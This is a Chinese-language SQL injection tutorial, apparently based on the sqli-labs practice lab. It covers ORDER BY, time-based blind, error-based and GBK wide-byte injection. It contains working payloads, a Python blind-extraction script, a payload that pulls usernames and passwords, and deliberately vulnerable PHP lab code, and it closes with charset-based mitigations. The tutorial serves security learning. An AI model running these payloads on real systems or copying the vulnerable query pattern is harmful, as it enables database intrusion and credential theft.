order by是mysql中对查询数据进行排序的方法, 使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
select * from user order by id;
selecr * from user order by 1;
数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1 显示的结果一样,所以无法用来判断注入点类型
而用rand()会显示不同的排序结果
当在字符型中用?sort=rand(),则不会有效果,排序不会改变
因此用rand()可判断注入点类型
前面经常利用order by子句进行快速猜解表中的列数
【根据是否报错来判断列数】

测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。再配合使用union select语句进行回显。
union select语句进行回显
只有order=$id,数字型注入时才能生效,order ='$id'导致if语句变成字符串,功能失效。
if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图

为此使用if判断的时候要返回要使用列名。

order by if(表达式,1,username)
表达式成立输出1
表达式失败输出username
select * from users order by if(1=2,1,sleep(1));
小点:sleep(1)如果成功则返回 0,如果错误则返回 FALSE。

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。
计算公式:延迟时间=sleep(1)的秒数*所查询数据条数
如果查询的数据很多时,延迟的时间就会特别长
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
盲注应用:
通过paload放到函数中进行二分法爆值。
for i in range(1, 100000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1') aandnd (if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))>%d,sleep(1),0))aandnd('1')=('1" % (
i, mid)
params = {'id': payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url, params=params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
第一个%d表示:i,i范围1-100000。表示substr截取从左边第几个字符开始截取。
第二个%d表示:mid值
过程:
1、paload放入函数对数据截取转换为ASCII码,对得到的ASCII字符进行mid比较即为二分法来查找具体字符值。
2、如果ASCII码对于而二分法值大于mid则会进行sleep(1)。判断为真是因为字符的大小大于mid值,进行沉睡。
3、沉睡导致注入后时间比注入前系统时间差值大于1。如此表示字符比mid大,那么low = mid + 1并且mid值也发送改变。
4、此时low5、此时如果字符变得比现在mid小,如此不会沉睡输出为0,在网络的传输中虽然有延迟但是差值一般是不会超过1秒的。为此判断为假。此时mid将变为high。如此范围相比之前是之前mid为新low,之前改变后的mid变成high。
6、如此当字符此时正好为low或mid或high时,依旧重复上述操作,直到low=high就将结束while循环并且输出的mid【此时mid、low、high的值一样】。
7、如此跳出了第一个while循环,rang范围给i的值变2.开始第二个while循环输出下一个字符
8、全部while完后,得到的全是ASCII。为此利用chr(mid)把ASCII码转换为字符。print输出。
rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,种子固定,则生成的数固定
rand()为随机参数

rand(1)与rand(0) 固定了参数

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同
order by rand(表达式)
当表达式为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。
如此对于上面的情况我们思考一个问题如果我们什么都不知道并且要知道列名怎么办。
为此我们可以利用报错注入来获取列名。
order by updatexml(1,if(1=2,1,(表达式)),1) order by
extractvalue(1,if(1=2,1,(表达式)));
因为1=2,所以执行表达式内容
例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名
若改成1=1,则页面正常显示
获取数据库名

获取表名【limit n,m】

获取的limit的n表示第n个参数开始,取后m个值【第一个参数的索引值为0】


limit的m值在这只能为1 ,因为输出不能超一行

LIMIT[位置偏移量,]行数;这里的中括号里的数据是可以修改的参数,也就是指的是从哪一行开始显示,并且他的开始值是0,也就是第一条记录对应的索引数是0,第二条记录对应的索引数是1…;后面的行数就是返回记录的条数,一般情况下都是写的1。
limit在order by下使用

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。
SELECT * FROM users WHERE id=1 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

如果不支持报错注入的话,还可以基于时间注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行,需要用BENCHMARK代替。
定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为’,无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。
适用情形:(1)数据库的编码格式为GBK;(2)在PHP中,通过iconv()进行编码转换。
原理:加入字节与\构成GBK编码,实现单引号和双引号逃逸。
补充:
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型。
也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本。我们就以gbk字符编码为示范,拉开帷幕。gbk是一种多字符编码,具体定义自行百度。
但有一个地方尤其要 注意:通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
在php中,我们可以通过输出echo strlen("和");来测试。当将页面编码保存为gbk时输出2,utf-8时输出3。
DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-32 **Bypass addslashes()**title>
head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan font><br>
<font size="5" color="#00FF00">
";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
font> div>br>br>br><center>
<img src="../images/Less-33.jpg" />
br>
br>
br>
br>
br>
<font size='4' color= "#33FFFF">
";
echo "The Query String you input in Hex becomes : ".strToHex($id);
?>
center>
font>
body>
html>
众所周知addslashes函数产生的效果就是,让'变成\',让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'前面的\:
1.想办法给\前面再加一个\(或单数个即可),变成\\',这样\被转义了,'逃出了限制
2.想办法把\弄没有。
我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。
如果我们输入%df'看会怎样:

发现报错了,为此可以利用报错注入.
?id=1%df%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)%20from%20users%20limit%200,1),0x7e),1)--+

若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。
因为是两个字节代表一个汉字,我们尝试%df%df%27

不报错了,因为%df%df组成了汉字"哌"
那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:

%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。


%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。

gb2312和gbk应该都是宽字节家族的一员。但我们来做个小实验。把内容管理系统中set names修改成gb2312:

进行注入报错时发现并不报错了

原因:
这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有
0x5c的编码,就可以进行宽字符注入。
w3c文档关于:mysql_real_escape_string

在文档说明中,说考虑到连接的当前字符集于是安全用于mysql_query()
于是,有的cms就把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。

修改后注入

依照文档我们修改了过滤,可是明明我用了mysql_real_escape_string,但却仍然不能抵御宽字符注入。
原因就是,我们没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。
在3中我们说到了一种修复方法,就是先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入。
这个方式是可行的,但有部分老的cms,在多处使用addslashes来过滤字符串,我们不可能去一个一个把addslashes都修改成mysql_real_escape_string。我们第二个解决方案就是,将character_set_client设置为binary(二进制)。
只需在所有sql语句前指定一下连接的形式是二进制:
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
这几个变量是什么意思?
当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将之将换成character_set_connection的编码,然后进入具体表和字段后,再转换成字段对应的编码。
然后,当查询结果产生后,会从表和字段的编码,转换成character_set_results编码,返回给客户端。
所以,我们将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入。
这个方法可以说是有效的,但如果开发者画蛇添足地增加一些东西,会让之前的努力前功尽弃。
由字符编码引发的安全问题及其解决方案:
set names gbk和mysql_real_escape_string是无法避免宽字符注入问题的。还得调用mysql_set_charset来设置一下字符集。